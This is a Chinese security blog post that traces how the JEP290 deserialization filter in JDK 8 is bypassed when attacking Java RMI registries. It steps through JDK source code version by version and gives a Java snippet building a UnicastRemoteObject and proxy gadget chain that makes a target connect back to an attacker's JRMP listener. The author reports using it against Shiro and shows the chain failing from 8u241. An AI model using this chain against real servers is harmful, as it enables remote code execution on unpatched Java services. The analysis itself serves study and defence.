前言 之前在8u281版本上使用JRMPClient的利用链时,反序列化JRMPListener传输过来的数据时失败了,然后找到了相关的文章,学习学习。
JEP290 JEP290 用于过滤输入的序列化数据,缓解反序列化攻击,按照参考文章的说法:
1 2 3 4 1 、提供一个限制反序列化类的机制,白名单或者黑名单。2 、限制反序列化的深度和复杂度。3 、为RMI远程调用对象提供了一个验证类的机制。4 、定义一个可配置的过滤机制,比如可以通过配置properties 文件的形式来定义过滤器。
简单来说就是给反序列化做了个安全检验。JEP290本来是JDK9的新特性,但为了安全性之类的理由 还将其移植到了早期版本中,JDK9以下的适用版本为:
1 2 3 Java ™ SE Development Kit 8 , Update 121 (JDK 8 u121)Java ™ SE Development Kit 7 , Update 131 (JDK 7 u131)Java ™ SE Development Kit 6 , Update 141 (JDK 6 u141)
攻击手法 以前 学习过这个问题,主要分为三个版本段来操作。
攻击低版本注册中心(<8u121) 没有白名单,直接打。
攻击中版本注册中心(>=8u121,<8u231) 用ysoserial的JRMPClient绕过白名单来打。
攻击中高版本注册中心(>=8u231,<8u241) 反序列化JRMPClient建立的连接进行的反序列化操作也加上了白名单验证,无法反序列化回传的利用链。JRMPClient反序列化链会经过DGCImpl_Stub类的dirty函数:
1 2 StreamRemoteCall var5 = (StreamRemoteCall)this .ref.newCall(this , operations, 1 , -669196253586618813L ); var5.setObjectInputFilter(DGCImpl_Stub::leaseFilter);
这里给将过滤函数设置为了DGCImpl_Stub类的leaseFilter函数,在后面执行executeCall函数时会调用getInputStream来获取输入流:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 public ObjectInput getInputStream () throws IOException { if (this .in == null ) { Transport.transportLog.log(Log.VERBOSE, "getting input stream" ); this .in = new ConnectionInputStream (this .conn.getInputStream()); if (this .filter != null ) { AccessController.doPrivileged(() -> { Config.setObjectInputFilter(this .in, this .filter); return null ; }); } } return this .in; }
此时就会将该过滤函数设置到输入流对象中,后面执行反序列化操作时就会通过这个过滤函数进行检查。
所以想要绕过这个过滤函数,就需要找到另一条相似结果的反序列化链,且途中不会经过DGCImpl_Stub类的dirty函数。参考文章中描述了一条新的利用链,通过UnicastRemoteObject类可以触发一个未经安全验证的反序列化操作,其readObject函数如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 private void readObject (java.io.ObjectInputStream in) throws java.io.IOException, java.lang.ClassNotFoundException { in.defaultReadObject(); reexport(); }private void reexport () throws RemoteException { if (csf == null && ssf == null ) { exportObject((Remote) this , port); } else { exportObject((Remote) this , port, csf, ssf); } }public static Remote exportObject (Remote obj, int port, RMIClientSocketFactory csf, RMIServerSocketFactory ssf) throws RemoteException { return exportObject(obj, new UnicastServerRef2 (port, csf, ssf)); }private static Remote exportObject (Remote obj, UnicastServerRef sref) throws RemoteException { if (obj instanceof UnicastRemoteObject) { ((UnicastRemoteObject) obj).ref = sref; } return sref.exportObject(obj, null , false ); }
在最后的exportObject函数中,因为第一参数obj为自身且自身不是UnicastRemoteObject的子类,第二参数为新建的UnicastServerRef2对象:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 public UnicastServerRef2 (int var1, RMIClientSocketFactory var2, RMIServerSocketFactory var3) { super (new LiveRef (var1, var2, var3)); }public UnicastServerRef (LiveRef var1) { super (var1); this .forceStubUse = false ; this .hashToMethod_Map = null ; this .methodCallIDCount = new AtomicInteger (0 ); this .filter = null ; }public UnicastRef (LiveRef var1) { this .ref = var1; }
最后会将UnicastRemoteObject对象的port、csf、ssf三个属性合并成一个LiveRef对象放入新UnicastServerRef2对象的ref属性中,并会调用UnicastServerRef2类的exportObject函数,该函数来自其父类UnicastServerRef:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 public RemoteStub exportObject (Remote var1, Object var2) throws RemoteException { this .forceStubUse = true ; return (RemoteStub)this .exportObject(var1, var2, false ); }public Remote exportObject (Remote var1, Object var2, boolean var3) throws RemoteException { Class var4 = var1.getClass(); Remote var5; try { var5 = Util.createProxy(var4, this .getClientRef(), this .forceStubUse); } catch (IllegalArgumentException var7) { throw new ExportException ("remote object implements illegal remote interface" , var7); } if (var5 instanceof RemoteStub) { this .setSkeleton(var1); } Target var6 = new Target (var1, this , var5, this .ref.getObjID(), var3); this .ref.exportObject(var6); this .hashToMethod_Map = (Map)hashToMethod_Maps.get(var4); return var5; }
这里的ref即LiveRef对象,来到LiveRef类的exportObject函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public LiveRef (ObjID var1, Endpoint var2, boolean var3) { this .ep = var2; this .id = var1; this .isLocal = var3; }public LiveRef (int var1, RMIClientSocketFactory var2, RMIServerSocketFactory var3) { this (new ObjID (), var1, var2, var3); }public LiveRef (ObjID var1, int var2, RMIClientSocketFactory var3, RMIServerSocketFactory var4) { this (var1, TCPEndpoint.getLocalEndpoint(var2, var3, var4), true ); }public void exportObject (Target var1) throws RemoteException { this .ep.exportObject(var1); }
ep是一个用前面UnicastRemoteObject对象的port、csf、ssf三个属性制作的TCPEndpoint对象,其exportObject函数如下:
1 2 3 public void exportObject (Target var1) throws RemoteException { this .transport.exportObject(var1); }
即TCPTransport类的exportObject函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 public void exportObject (Target var1) throws RemoteException { synchronized (this ) { this .listen(); ++this .exportCount; } ... }private void listen () throws RemoteException { assert Thread.holdsLock(this ); TCPEndpoint var1 = this .getEndpoint(); int var2 = var1.getPort(); if (this .server == null ) { if (tcpLog.isLoggable(Log.BRIEF)) { tcpLog.log(Log.BRIEF, "(port " + var2 + ") create server socket" ); } try { this .server = var1.newServerSocket(); Thread var3 = (Thread)AccessController.doPrivileged(new NewThreadAction (new TCPTransport .AcceptLoop(this .server), "TCP Accept-" + var2, true )); var3.start(); } ... } ... }
这里会调用TCPEndpoint的newServerSocket函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 ServerSocket newServerSocket () throws IOException { if (TCPTransport.tcpLog.isLoggable(Log.VERBOSE)) { TCPTransport.tcpLog.log(Log.VERBOSE, "creating server socket on " + this ); } Object var1 = this .ssf; if (var1 == null ) { var1 = chooseFactory(); } ServerSocket var2 = ((RMIServerSocketFactory)var1).createServerSocket(this .listenPort); if (this .listenPort == 0 ) { setDefaultPort(var2.getLocalPort(), this .csf, this .ssf); } return var2; }
可以看到,这里将port作为参数传入调用了ssf属性的createServerSocket函数。
简单找一下,只看到有一个RMISocketFactory类继承了这个RMIServerSocketFactory接口,然而其createServerSocket函数如下:
1 2 public abstract ServerSocket createServerSocket (int port) throws IOException;
它并没有实现这个函数。但这不代表这里就没有操作余地,像这种视作接口进行函数调用的方式,我们还有另一种选择,那就是动态代理。
存在一个动态代理类RemoteObjectInvocationHandler,其invoke函数如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 public Object invoke (Object proxy, Method method, Object[] args) throws Throwable { ... if (method.getDeclaringClass() == Object.class) { return invokeObjectMethod(proxy, method, args); } else if ("finalize" .equals(method.getName()) && method.getParameterCount() == 0 && !allowFinalizeInvocation) { return null ; } else { return invokeRemoteMethod(proxy, method, args); } }private Object invokeRemoteMethod (Object proxy, Method method, Object[] args) throws Exception { try { if (!(proxy instanceof Remote)) { throw new IllegalArgumentException ( "proxy not Remote instance" ); } return ref.invoke((Remote) proxy, method, args, getMethodHash(method)); } ... }
可以看到,如果我们将ref设置为一个UnicastRef对象,就可以调用其invoke函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 public Object invoke (Remote var1, Method var2, Object[] var3, long var4) throws Exception { ... Connection var6 = this .ref.getChannel().newConnection(); StreamRemoteCall var7 = null ; boolean var8 = true ; boolean var9 = false ; Object var11; try { if (clientRefLog.isLoggable(Log.VERBOSE)) { clientRefLog.log(Log.VERBOSE, "opnum = " + var4); } var7 = new StreamRemoteCall (var6, this .ref.getObjID(), -1 , var4); try { ObjectOutput var10 = var7.getOutputStream(); this .marshalCustomCallData(var10); var11 = var2.getParameterTypes(); for (int var12 = 0 ; var12 < ((Object[])var11).length; ++var12) { marshalValue((Class)((Object[])var11)[var12], var3[var12], var10); } } ... var7.executeCall(); ... } ... }
可以看到,这里同样可以发起一个连接,并且回到了StreamRemoteCall类的executeCall函数,即JRMPClient利用链中客户端反序列化接收到的数据的代码部分。同时由于过程中没有调用setObjectInputFilter的地方,所以也不会触发过滤函数。
接下来就开始测试利用链了,像参考文章那样拼装一下就行了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 String ip = "127.0.0.1" ;int port = 1099 ;ObjID id = new ObjID (new Random ().nextInt());TCPEndpoint te = new TCPEndpoint (ip, port);UnicastRef ref = new UnicastRef (new LiveRef (id, te, false ));RemoteObjectInvocationHandler remoteObjectInvocationHandler = new RemoteObjectInvocationHandler (ref);RMIServerSocketFactory rmiServerSocketFactory = (RMIServerSocketFactory) Proxy.newProxyInstance( RMIServerSocketFactory.class.getClassLoader(), new Class [] { RMIServerSocketFactory.class, Remote.class }, remoteObjectInvocationHandler);UnicastRemoteObject unicastRemoteObject = (UnicastRemoteObject)Utils.createWithoutConstructor("java.rmi.server.UnicastRemoteObject" ); Utils.setField(unicastRemoteObject, "ssf" , rmiServerSocketFactory); Utils.setField(unicastRemoteObject, "ref" , ref);return unicastRemoteObject;
最后顺手给shiro打一发,没问题通了。
攻击高版本注册中心、服务端、客户端(>=8u241) 对RemoteObjectInvocationHandler类的invokeRemoteMethod函数做了修改:
1 2 3 4 5 6 7 8 Class<?> decl = method.getDeclaringClass();if (!Remote.class.isAssignableFrom(decl)) { throw new RemoteException ("Method is not Remote: " + decl + "::" + method); }return ref.invoke((Remote) proxy, method, args, getMethodHash(method));
在调用UnicastRef.invoke之前对代理的函数做了验证,要求声明该函数的类必须继承Remote接口,然而RMIServerSocketFactory接口:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 public interface RMIServerSocketFactory { public ServerSocket createServerSocket (int port) throws IOException; }
没有继承,所以就通不过,也就无法打通了。
那么该怎么攻击?我不知道啊!
参考文章 https://mp.weixin.qq.com/s/DIgEe2HpwzHcvNM71cKxvg
https://www.anquanke.com/post/id/200860